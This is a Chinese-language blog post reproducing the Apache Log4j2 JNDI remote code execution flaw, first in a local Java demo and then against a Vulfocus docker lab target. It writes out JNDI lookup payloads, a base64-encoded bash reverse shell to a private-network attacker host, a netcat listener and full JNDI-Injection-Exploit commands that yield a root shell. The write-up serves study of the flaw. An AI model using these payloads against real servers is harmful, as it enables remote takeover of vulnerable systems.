本文最后更新于 2024-09-02,文章内容可能已经过时。

Apache Log4j2-RCE漏洞复现

1.漏洞简介

​ Apache Log4j2是一个基于java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序输入输出信息进行日志记录。

​ 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞,该漏洞是由于Apache Log4j2的某些功能存在递归解析功能,导致攻击者可以直接构造恶意请求,触发远程代码执行漏洞,从而获得服务器的权限。

漏洞适用版本:2.0 <= Apache Log4j2 <= 2.14.1

2.漏洞原理

2.1 原理概述

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的ndi Lookup模块出现问题导致的,该功能模块在输出日志的时候容许开发人员通过相应的协议去请求远程主机上的资源。

而开发人员在处理数据的时候,并没有对用户输入的信息进行判断,导致log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

2.2 JNDI

​ 开发人员一般会使用Log4j2在日志中输出一些变量,Log4j2除了可以输出程序中的变量,它还提供了多种Lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的时候,通过多种方式查找要输出的内容,其中就可以使用JNDI Lookup

JNDI(java Naming and Directory Interface,Java命令和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发工程中可以使用名称来访问对象。JNDI下面有很多目录接口,用于不同的数据源的查找引用。

image-20240807002257990

​ JNDI可以使用相应的目录接口请求普通数据,还可以请求java对象。而且JNDI支持以命令引用(Naming References)的方式去远程下载一个calss文件,然后加载该class文件并构成对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载的时候执行恶意代码。

在这些目录接口中我们可以使用LDAP或者RMI去下载远程主机上的class文件,从而执行RCE

LDAP(轻型目录访问协议):是一个开放的,中立的,工业标准的应用协议,通过ip协议提供控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业的分布式数据库,它呈树状结构组织数据,就好像Linux/Unix系统中的文件目录一样。

RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个java虚拟机的对象方法。

2.3 漏洞触发过程:

Log4j2 远程代码执行漏洞大致过程(此处使用RMI, LDAP同理):

​ 假设有一个java程序,将用户名和信息存储到了日志中,如下:

1.攻击者发送一个HTTP请求,其用户名为 ${jndi:rmi://rmi服务器地址/Exploit}

2.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是JNDI扩展内容使用的是RMI,而后根据RMI服务器地址去请求Exploit。

3.RMI服务器返回Reference对象(用于告诉请求端请求对象所在的类),而该Reference指定了远端文件下载服务器上含有的恶意代码的Class文件。

4.被攻击服务器通过Reference对象去请求文件下载服务器上的Class文件。

5.被攻击服务器下载恶意的Class文件并执行其中的恶意代码。

image-20240807005120443

3.漏洞复现

3.1 实验环境:

​ 本次实验在Windows环境下使用IDEA编写的java程序来进行Apache Log4j2 远程代码执行漏洞的模拟。

  • jdk 1.8.0_181
  • Apache log4j2 2.14.1

3.2 实验过程

新创建一个Maven项目,在pom.xml文件中引入log4j依赖,指定版本为2.14.1

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Log4j2_Test</artifactId>
    <version>1.0-SNAPSHOT</version>

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>

</project>

模拟黑客服务器(HackedServer.java):

image-20240808022007990

准备的恶意代码文件(EvilObj.java):

(可以将此命令换成反弹shell的命令)

image-20240808021427040

模拟黑客准备的RMI服务器(RMIServer.java):

image-20240808022045668

启动RMI服务器(RMIServer.java):

image-20240808021359986

运行模拟攻击者准备的服务器(HackedServer.java):

可以看到运行后成功执行恶意代码,弹出计算器

image-20240808021549625

4.靶场环境模拟

4.1 实验环境

被攻击服务器

主机:centos7

靶场环境:Vulfocus/log4j2-rce-2021-12-09

攻击机:kali

JNDI注入工具:

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

4.2 实验过程

  1. 安装docker

    (1)安装docker所需的工具:

    yum install -y yum-utils device-mapper-persistent-data lvm2
    

    (2)添加yum镜像:

    yum-config-manager -add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
    

    (3) 更新yum缓存

    yum makecache fast
    

    (4)下载安装docker

    yum install docker-ce
    

    (5)启动docker:

    systemctl start docker
    

    (6)配置Docker的国内镜像:

    vi /etc/docker/daemon.json
    

    {

    ​ “registry-mirrors”:[

    ​ “https://registry.docker-cn.com”,

    ​ “http://hub-mirror.c.163.com”,

    ​ “https://docker.mirrors.ustc.edu.cn

    ​ ]

    }

(7) 保存并重启docker:

systemctl restart docker

2.使用docker部署log4j2 漏洞靶场

(1)拉取log4j2漏洞的靶场镜像:

docker pull vulfocus/log4j2-rce-2021-12-09

image-20240808023853948

(2)创建容器并启动:

docker run -tid [–name 自定义名字(不是必须)] -p 10355:8080 [IMAGE ID或者容器的名称]

docker ps 查看容器映射状态

image-20240808024357005

(3) 浏览器访问

image-20240808024443788

点击中间的???,跳转到如下页面就表示启动成功,后续可以在在这里填入payload

image-20240808025150468

(3)使用DNSLog进行测试

(1)前往http://www.dnslog.cn/,申请子域名进行测试

image-20240808024620127

image-20240808025323840

image-20240808025552840

将获取的子域名${jndi:ldap://c5t32i.dnslog.cn}这样填入在payload后,如果执行后,http://www.dnslog.cn/会在页面上显示出日志信息,模拟被攻击主机下载资源文件的行为。

image-20240808025832997

直接执行会报400报错,进行url转码后执行,浏览器一直在转圈表示执行成功

image-20240808025924842

此时回到DNSlog点击刷新会出现日志信息

image-20240808030028528

加一句test123后url转码执行,发现DNSlog也解析到了,说明这里有这个漏洞(test123可以换成恶意代码如payload)

image-20240808030236618

4.利用JNDI注入工具进行反弹shell

(1)准备反弹shell,并将此命令进行base64编码

bash -i >& /dev/tcp/攻击主机IP/端口 0>&1

bash -i >& /dev/tcp/192.168.91.129/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS82NjY2IDA+JjE=

kali开启监听

nc -lvvp 6666

image-20240808031636493

(2) 使用JNDI-Injectipon-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用,将上述的base64编码的反弹shell填入指定位置,指定kali的ip,启动服务。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码后的shell}|{base64,-d}|{bash,-i}" -A 攻击主机ip

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.91.129

image-20240808032242053

运行后会生成三种恶意的class文件,JDK1.8的,JDK1.7和DK版本的,这里用JDK的

image-20240808032540830

${jndi:rmi://192.168.91.129:1099/9vctxq}

进行url转码后执行即可获取shell

不过我这里出错了

我也没找到什么原因,推测应该是JDK版本原因。(我的kali的java版本是jdk17)

image-20240808035632737

下载源码从新打包下jar

把源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git


$ cd JNDI-Injection-Exploit

#安装maven
$ sudo apt install maven

$ mvn clean package -DskipTests
#中间会有漫长的下载仓库文件的过程,网不好请用魔法

image-20240808123218578

构建好后,cd到target目录再次执行,结果还是出错,在jar前加一条

--add-opens jdk.naming/com.sun.jndi.rmi.registry=ALL-UNNAMED

添加 JVM 参数来放宽模块访问限制

java --add-opens jdk.naming/com.sun.jndi.rmi.registry=ALL-UNNAMED -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkxLjEyOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.91.129

还是报错,切换成jdk11,再次执行上述命令,

image-20240808124518415

image-20240808125200402

选择JDK这个的,copy下来rmi://192.168.91.129:1099/mx3oah(这里端口变了是我重新启动docker的原因,请无视它)

image-20240808125305140

放在payload后,url转码一下,点击执行,发现反弹成功,直接就是root权限。

image-20240808124628344

附:kali中切换java JDK版本的方法:

kali 设置 Java 版本,并更换为 1.8 版本(更具需要换成下载的源地址)
1.安装 JDK
1.下载java 1.8 :https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
2.建立目录,将下载的 jdk 的安装包复制过去并进行解压
sudo mkdir -p /usr/local/java
cp jdk-8u202-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u202-linux-x64.tar.gz
3.配置环境变量(注意下面的版本号要与自己下载的相同)
打开文件/etx/profile:sudo vim /etc/profile
添加下列代码到文件末尾:
JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=PATH:HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

4.通知系统 java 的位置
sudp update-alternatives --install “/usr/bin/java” “java” “/usr/local/java/jdk1.8.0_202/bin/java” 1
sudp update-alternatives --install “/usr/bin/javac” “javac” “/usr/local/java/jdk1.8.0_202/bin/javac” 1
sudp update-alternatives --install “/usr/bin/javaws” “javaws” “/usr/local/java/jdk1.8.0_202/bin/javaws” 1
sudp update-alternatives --install “/usr/bin/javaws” “javaws” “/usr/local/java/jdk1.8.0_202/bin/javaws” 1

5.重新载入 profile:source /etc/profile

2.切换 jdk 版本
命令:update-alternatives --config java

输入 jdk 版本前对应的数字

查看 jdk 版本已经切换成功:java -version